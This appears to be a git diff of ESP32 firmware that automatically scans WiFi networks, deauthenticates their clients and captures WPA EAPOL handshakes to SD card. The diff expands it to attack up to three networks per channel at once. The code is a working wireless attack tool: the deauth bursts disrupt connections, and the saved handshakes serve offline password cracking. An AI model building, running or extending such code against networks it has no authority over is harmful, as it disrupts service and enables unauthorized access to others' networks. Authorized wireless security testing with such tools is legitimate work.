bool match_addr1 = (memcmp(&payload[4], s->bssid, 6) == 0);
|
||||||
|
bool match_addr2 = (memcmp(&payload[10], s->bssid, 6) == 0);
|
||||||
|
if (!match_addr1 && !match_addr2) continue;
|
||||||
|
|
||||||
|
// Phase 2: map client MAC from all data frames (including encrypted)
|
||||||
|
// FromDS: Addr1=DA(client), Addr2=BSSID | ToDS: Addr1=BSSID, Addr2=SA(client)
|
||||||
|
if (capturePhase == PHASE_OBSERVING) {
|
||||||
|
const uint8_t* client_mac = match_addr2 ? &payload[4] : &payload[10];
|
||||||
|
addClientToSlot(s, client_mac);
|
||||||
|
}
|
||||||
|
|
||||||
|
// EAPOL capture (active during all phases)
|
||||||
|
if (is_eapol) {
|
||||||
|
s->eapol_count++;
|
||||||
|
pcapAppendSlot(s, payload, len);
|
||||||
|
latest_eapol_count = s->eapol_count;
|
||||||
|
|
||||||
|
if (s->eapol_count >= 2) {
|
||||||
|
pending_save_slots[i] = i;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
portEXIT_CRITICAL(&capture_mux);
|
||||||
|
}
|
||||||
|
|||||||
@@ -5,6 +5,11 @@
|
|||||||
#include "esp_wifi.h"
|
#include "esp_wifi.h"
|
||||||
#include <SD.h>
|
#include <SD.h>
|
||||||
|
|
||||||
|
#define MAX_SLOTS 3
|
||||||
|
#define MAX_NETWORKS 20
|
||||||
|
#define MAX_CLIENTS_PER_SLOT 8
|
||||||
|
#define PCAP_MAX_SIZE 4096
|
||||||
|
|
||||||
typedef struct {
|
typedef struct {
|
||||||
uint32_t magic_number;
|
uint32_t magic_number;
|
||||||
uint16_t version_major;
|
uint16_t version_major;
|
||||||
@@ -31,19 +36,46 @@ typedef struct {
|
|||||||
bool handshake_captured;
|
bool handshake_captured;
|
||||||
} WifiNetwork;
|
} WifiNetwork;
|
||||||
|
|
||||||
extern WifiNetwork networks[20];
|
typedef struct {
|
||||||
extern WifiNetwork target;
|
uint8_t mac[6];
|
||||||
|
uint32_t last_seen;
|
||||||
|
} ClientInfo;
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
uint8_t bssid[6];
|
||||||
|
char ssid[33];
|
||||||
|
int network_index;
|
||||||
|
bool beacon_captured;
|
||||||
|
uint8_t eapol_count;
|
||||||
|
uint8_t pcap_buffer[PCAP_MAX_SIZE];
|
||||||
|
size_t pcap_size;
|
||||||
|
bool active;
|
||||||
|
ClientInfo clients[MAX_CLIENTS_PER_SLOT];
|
||||||
|
uint8_t client_count;
|
||||||
|
} CaptureSlot;
|
||||||
|
|
||||||
|
// Phase 3 (deauth burst) is transient — no dedicated state needed
|
||||||
|
enum CapturePhase : uint8_t {
|
||||||
|
PHASE_OBSERVING, // Phase 2: passive client mapping (RX only)
|
||||||
|
PHASE_CAPTURING // Phase 4: EAPOL capture (RX only)
|
||||||
|
};
|
||||||
|
|
||||||
|
extern WifiNetwork networks[MAX_NETWORKS];
|
||||||
|
extern CaptureSlot slots[MAX_SLOTS];
|
||||||
|
extern volatile int pending_save_slots[MAX_SLOTS];
|
||||||
|
extern volatile int latest_eapol_count;
|
||||||
extern bool is_capturing;
|
extern bool is_capturing;
|
||||||
extern bool with_deauth;
|
extern int current_channel;
|
||||||
|
extern CapturePhase capturePhase;
|
||||||
|
|
||||||
void handshakeCaptureInit();
|
void handshakeCaptureInit();
|
||||||
|
void handshakeCaptureProcessPending();
|
||||||
|
void refillSlots();
|
||||||
bool wasBssidCaptured(const uint8_t* bssid);
|
bool wasBssidCaptured(const uint8_t* bssid);
|
||||||
void markBssidCaptured(const uint8_t* bssid);
|
|
||||||
void scanNetworksSortedByRSSI();
|
void scanNetworksSortedByRSSI();
|
||||||
void startCapture(bool deauth);
|
void startMultiCapture();
|
||||||
void stopCapture();
|
void stopCapture();
|
||||||
void setTarget(int index);
|
|
||||||
int getCurrentTargetIndex();
|
|
||||||
bool isHandshakeCaptured(int index);
|
|
||||||
bool isCaptureable(int index);
|
bool isCaptureable(int index);
|
||||||
void handshakeCaptureLoop();
|
void handshakeCaptureLoop();
|
||||||
|
int getCaptureableCount();
|
||||||
|
int getBestChannel();
|
||||||
|
|||||||
@@ -16,7 +16,7 @@ void WiFiScanner_Refresh(void) {
|
|||||||
scanNetworksSortedByRSSI();
|
scanNetworksSortedByRSSI();
|
||||||
|
|
||||||
int count = 0;
|
int count = 0;
|
||||||
for (int i = 0; i < 20; i++) {
|
for (int i = 0; i < MAX_NETWORKS; i++) {
|
||||||
if (networks[i].ssid.isEmpty()) break;
|
if (networks[i].ssid.isEmpty()) break;
|
||||||
count++;
|
count++;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
/*
|
/*
|
||||||
* WiFi Handshake Capture - ESP32-C6 1.47" LCD
|
* WiFi Handshake Capture - ESP32-C6 1.47" LCD
|
||||||
* Automatically scans, deauths, and captures handshakes to SD card.
|
* Multi-target capture: up to 3 networks per channel, deauth all, capture all.
|
||||||
* Display: green = not captured, red = captured.
|
* Display: green = not captured, red = captured.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
@@ -18,8 +18,7 @@ enum CaptureState {
|
|||||||
|
|
||||||
CaptureState captureState = STATE_SCANNING;
|
CaptureState captureState = STATE_SCANNING;
|
||||||
unsigned long capture_start_time = 0;
|
unsigned long capture_start_time = 0;
|
||||||
const unsigned long CAPTURE_TIMEOUT_MS = 25000;
|
const unsigned long CHANNEL_TIMEOUT_MS = 30000;
|
||||||
const unsigned long DEAUTH_INTERVAL_MS = 150;
|
|
||||||
|
|
||||||
void setup() {
|
void setup() {
|
||||||
Serial.begin(115200);
|
Serial.begin(115200);
|
||||||
@@ -40,41 +39,63 @@ void setup() {
|
|||||||
|
|
||||||
void loop() {
|
void loop() {
|
||||||
Timer_Loop();
|
Timer_Loop();
|
||||||
|
handshakeCaptureProcessPending();
|
||||||
handshakeCaptureLoop();
|
handshakeCaptureLoop();
|
||||||
|
|
||||||
switch (captureState) {
|
switch (captureState) {
|
||||||
case STATE_SCANNING: {
|
case STATE_SCANNING: {
|
||||||
int idx = -1;
|
if (getCaptureableCount() == 0) {
|
||||||
for (int i = 0; i < 20; i++) {
|
|
||||||
if (networks[i].ssid.isEmpty()) break;
|
|
||||||
if (!networks[i].handshake_captured && isCaptureable(i)) {
|
|
||||||
idx = i;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (idx >= 0) {
|
|
||||||
setTarget(idx);
|
|
||||||
captureState = STATE_CAPTURING;
|
|
||||||
capture_start_time = millis();
|
|
||||||
startCapture(true);
|
|
||||||
Ui_SetWifiStatus("Capturing...");
|
|
||||||
} else {
|
|
||||||
Ui_SetWifiStatus("Rescan");
|
Ui_SetWifiStatus("Rescan");
|
||||||
WiFiScanner_Refresh();
|
WiFiScanner_Refresh();
|
||||||
delay(500);
|
delay(500);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
startMultiCapture();
|
||||||
|
if (is_capturing) {
|
||||||
|
captureState = STATE_CAPTURING;
|
||||||
|
capture_start_time = millis();
|
||||||
|
Ui_SetWifiStatus("Mapping clients");
|
||||||
|
} else {
|
||||||
|
Ui_SetWifiStatus("No targets");
|
||||||
|
delay(1000);
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case STATE_CAPTURING: {
|
case STATE_CAPTURING: {
|
||||||
int idx = getCurrentTargetIndex();
|
bool any_active = false;
|
||||||
if (isHandshakeCaptured(idx)) {
|
for (int i = 0; i < MAX_SLOTS; i++) {
|
||||||
Ui_SetWifiStatus("Got handshake");
|
if (slots[i].active) {
|
||||||
|
any_active = true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Phase-aware status display
|
||||||
|
static CapturePhase last_shown_phase = PHASE_CAPTURING;
|
||||||
|
if (capturePhase != last_shown_phase) {
|
||||||
|
Ui_SetWifiStatus(capturePhase == PHASE_OBSERVING ? "Mapping clients" : "Capturing...");
|
||||||
|
last_shown_phase = capturePhase;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int last_eapol = -1;
|
||||||
|
if (capturePhase == PHASE_CAPTURING && latest_eapol_count != last_eapol) {
|
||||||
|
char buf[64];
|
||||||
|
snprintf(buf, sizeof(buf), "EAPOL %d/2", latest_eapol_count);
|
||||||
|
Ui_SetWifiStatus(buf);
|
||||||
|
last_eapol = latest_eapol_count;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!any_active && getCaptureableCount() == 0) {
|
||||||
|
Ui_SetWifiStatus("Done");
|
||||||
stopCapture();
|
stopCapture();
|
||||||
captureState = STATE_SCANNING;
|
captureState = STATE_SCANNING;
|
||||||
delay(2000);
|
delay(2000);
|
||||||
} else if (idx >= 0 && millis() - capture_start_time > CAPTURE_TIMEOUT_MS) {
|
} else if (!any_active) {
|
||||||
Ui_SetWifiStatus("Timeout");
|
stopCapture();
|
||||||
|
captureState = STATE_SCANNING;
|
||||||
|
} else if (millis() - capture_start_time > CHANNEL_TIMEOUT_MS) {
|
||||||
|
Ui_SetWifiStatus("Ch timeout");
|
||||||
stopCapture();
|
stopCapture();
|
||||||
captureState = STATE_SCANNING;
|
captureState = STATE_SCANNING;
|
||||||
delay(2000);
|
delay(2000);
|
||||||
|
|||||||
Reference in New Issue
Block a user